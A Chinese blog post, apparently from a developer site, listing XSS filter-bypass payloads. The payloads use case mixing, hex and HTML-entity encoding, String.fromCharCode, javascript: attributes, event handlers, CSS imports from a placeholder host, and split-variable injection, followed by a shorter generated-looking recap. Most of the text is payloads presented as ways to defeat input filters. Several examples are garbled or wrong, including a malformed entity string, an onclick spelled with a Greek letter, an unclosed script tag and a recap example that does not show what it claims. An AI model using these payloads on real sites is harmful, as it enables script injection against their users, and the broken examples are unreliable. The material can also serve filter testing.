XSS篇——XSS过滤绕过技巧

改变大小写

在测试过程中,我们可以改变测试语句的大小写来绕过XSS规则:

比如:<script>alert(“xss”);</script>可以转换为:
<ScRipt>ALeRt(“XSS”);</sCRipT>

关闭标签

有时候我们需要关闭标签来使我们的XSS生效。

比如:“><script>alert(“Hi”);</script>

使用hex编码绕过

我们可以对我们的语句进行hex编码来绕过XSS规则

比如:<script>alert(“xss”);</script>可以转换为:
%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%22%78%73%73%22%29%3b%3c%2f%73%63%72%69%70%74%3e

绕过magic_quotes_gpc

magic_quotes_gpc=ON是php中的安全设置,开启后会把一些特殊字符进行轮换,比如’(单引号)转换为\’,”(双引号)转换为\”,\转换为\\

比如:<script>alert(“xss”);</script>会转换为<script>alert(\”xss\”);</script>,这样我们的xss就不生效了。

针对开启了magic_quotes_gpc的网站,我们可以通过javascript中的String.fromCharCode方法来绕过,我们可以把alert(“XSS”);转换为

String.fromCharCode(97, 108, 101, 114, 116, 40, 34, 88, 83, 83, 34,41)那么我们的XSS语句就变成了

<script>String.fromCharCode(97, 108, 101, 114, 116, 40, 34, 88,83, 83, 34, 41, 59)</script>

String.fromCharCode()是javascript中的字符串方法,用来把ASCII转换为字符串。

最后使用<script>转换后的放到这里</script>包含即可。

利用<>标记注射Html/Javascript

如果用户能随心所欲引入<>标记,那他就能操作HTML标记,然后就能通过<script>标签插入JS恶意脚本了,例如:

<script>alert(‘XSS‘);</script>

当然如果对"<>"和script等进行了过滤,上面这个就无法执行了

利用HTML标签属性值执行XSS

很多HTML标记中的属性都支持javascript:[code]伪协议的形式,这就给了注入XSS可乘之机,例如:

<img src = "javascript:alert(‘xss‘);">

这里即便对传入的参数过滤了<>,XSS还是能发生(前提是该标签属性需要引用文件)

空格/回车/Tab

假设过滤函数进一步又过滤了javascript等敏感字符串,只需对javascript进行小小的操作即可绕过,例如:

 <img src= "java  script:alert(‘xss‘);" width=100>

这里之所以能成功绕过,其实还得益于JS自身的性质:Javascript通常以分号结尾,如果解析引擎能确定一个语句时完整的,且行尾有换行符,则分号可省略

而如果不是完整的语句,javascript则会继续处理,直到语句完整结束或分号。

像<img src= "javascript: alert(/xss/); width=100> 同样能绕过

对标签属性值进行转码

过滤严谨的函数很可能对标签也进行了严格的控制,但是如果用其他形式表示标签,脚本仍能解析却可以绕过过滤

常见的编码方式有:HTML实体编码(&#ASCII),十进制、十六进制、八进制编码,unicode编码及escape编码及使用String.fromCharCode(...)绕过

因此<img src= "javascript&#116&#alert(/xss/);">可以实现绕过

另外还可以把&#01、&#02、&#09等字符插入代码的头部或任意地方

产生自己的事件

如果不能依靠属性进行跨站,那么还可以利用事件处理函数

<input type = "button"  value = "clickme" οnclick="alert(‘click me‘)" />

事件既能让JS脚本运行,自然也可以执行跨站,另外像onerror、onMouseover等都可利用的是事件处理函数

利用CSS跨站剖析

之所以说CSS样式表是个很不错的载体,是因为CSS不需要嵌入到HTML代码中,可以直接从文件或其他地方进行引用. 另外CSS同样隐蔽、灵活,不过不同

浏览器之间不能通用,如:

<div style = "list-style-image:url(javascript:alert(‘xSS‘))">

<link rel = "stylesheet" href ="http://www.xxx.com/atack.css">

<style type=‘text/css‘>@import url(http://www.xxx.com/xss.css);</style>

<style>@import ‘javascript:alert(‘xss‘);‘</style>

绕过过滤规则

大小写混用:<iMgSRC = "JavaScript:alert(0);">

不使用引号或者构造全角字符也能扰乱过滤规则

还有像CSS中/**/会被浏览器忽略,\和\0同样或被浏览器忽略,同样可以用来绕过:

<img src ="java/*javascript:alert(‘xss‘)*/script:alert(1);">

充分利用字符编码

上面说到过编码,这里加以补充,除了像&#ASCII,其实也可以采用&#0、&#00、&#000等形式,同样&#x6a的形式也是可以的

<script>eval("\61\6c\65......");<script>

如果使用eval执行10进制形式的脚本则需要配合string.fromcharcode()使用

拆分跨站法

拆分跨站就是像shellcode一样,遇到长度限制不能按正常方式跨站时,通过引入变量多次提交将之连接起来实现跨站,例如:

<script>z=‘document.‘</script>

<script>z=+‘write‘("‘</script>

<script>z=z+‘<script‘</script>

......

<script>eval(z)</script>

另外除了像上面多次提交,也可以引用其他变量如:eval(qUserInfo.spaceName)形式,由于qUserInfo.spaceName是可控变量,因此改变其值就可以绕过长度限制了

### 关于XSS攻击中闭合标签的绕过技术 跨站脚本攻击(XSS)是一种常见的安全漏洞,允许攻击者注入恶意代码到网页上。为了防止这种攻击,许多现代浏览器和服务器端防护机制会尝试过滤掉潜在危险的内容。然而,一些特定的技术可以用来绕过这些防御措施。 #### 使用HTML实体编码绕过 一种常见的方式是利用HTML实体编码来混淆输入内容。例如,在某些情况下可以通过嵌入转义字符或者特殊编码形式来规避检测器对闭合标签的识别。下面是一个例子: ```html <IMG SRC="jav ascript:alert('XSS');"> ``` 这里通过插入十六进制表示的新行符` `打断了JavaScript关键字,从而可能避开简单的正则表达式匹配[^1]。 #### 利用不完整的标签结构 有时不需要完全关闭标签也可以触发事件处理程序。比如只写开标签而省略结束部分可能会让解析引擎仍然执行其中定义的动作: ```html <img src=x onerror=alert(1)> ``` 此片段故意制造了一个错误路径作为图像源地址(`src`),当加载失败时就会调用`onerror`属性指定的行为——即弹窗显示消息框[^3]。 #### 借助Unicode或URL编码隐藏意图 对于那些基于字符串模式匹配的安全规则来说,采用不同的编码方式能够有效掩盖真实的payload含义。像这样把尖括号替换为其对应的数值引用也可能奏效: ```html <script>document.write("Hello World!");</script> ``` 上述代码中的实际意义被转换成了不可见的形式呈现给审查工具,但最终会被渲染成可运行状态下的JS指令集。 另外值得注意的是,针对具体环境定制化的测试非常重要,因为不同框架和技术栈所采取的防范策略各有差异。因此了解目标平台如何实现其保护层将是成功实施此类操作的关键前提条件之一[^2]。 ### 结论 综上所述,尽管存在多种手段可以帮助突破现有的防XSS屏障,但是每种方法都有局限性和适用范围。开发人员应当始终遵循最佳实践原则构建应用程序,并定期更新依赖库版本以减少遭受此类威胁的风险。
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值